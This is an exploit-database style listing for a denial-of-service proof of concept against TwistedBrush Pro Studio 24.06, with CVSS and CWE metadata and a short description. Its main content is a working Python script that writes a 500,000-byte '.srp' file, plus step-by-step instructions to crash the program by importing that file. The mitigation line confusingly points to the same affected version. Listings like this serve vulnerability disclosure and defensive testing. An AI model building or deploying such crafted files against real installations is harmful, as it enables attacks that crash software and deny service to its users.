TwistedBrush Pro Studio 24.06 - '.srp' Denial of Service (PoC)

vendor:

TwistedBrush Pro Studio

by:

Alejandra Sánchez

7.8

CVSS

HIGH

Denial of Service

400

CWE

Product Name: TwistedBrush Pro Studio

Affected Version From: 24.06

Affected Version To: 24.06

Patch Exists: YES

Related CWE: N/A

CPE: a:pixarra:twistedbrush_pro_studio:24.06

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows 10

2019

TwistedBrush Pro Studio 24.06 – ‘.srp’ Denial of Service (PoC)

TwistedBrush Pro Studio 24.06 is prone to a denial-of-service vulnerability when the application attempts to open a specially crafted '.srp' file. An attacker can exploit this vulnerability to crash the application, denying service to legitimate users.

Mitigation:

Upgrade to the latest version of TwistedBrush Pro Studio 24.06

Source

Exploit-DB raw data:

# -*- coding: utf-8 -*-
# Exploit Title: TwistedBrush Pro Studio 24.06 - '.srp' Denial of Service (PoC)
# Date: 13/05/2019
# Author: Alejandra Sánchez
# Vendor Homepage: http://www.pixarra.com
# Software Link http://www.pixarra.com/uploads/9/4/6/3/94635436/tbrusha.exe
# Version: 24.06
# Tested on: Windows 10

# Proof of Concept:
# 1.- Run the python script "TwistedBrush_player.py", it will create a new file "sample.srp"
# 2.- Open TwistedBrush Pro Studio
# 3.- Go to 'Record' > 'Script Player...' 
# 4.- Click 'Import' button, select the 'sample.srp' file created and click 'Open' button
# 5.- Crashed

buffer = "\x41" * 500000
f = open ("sample.srp", "w")
f.write(buffer)
f.close()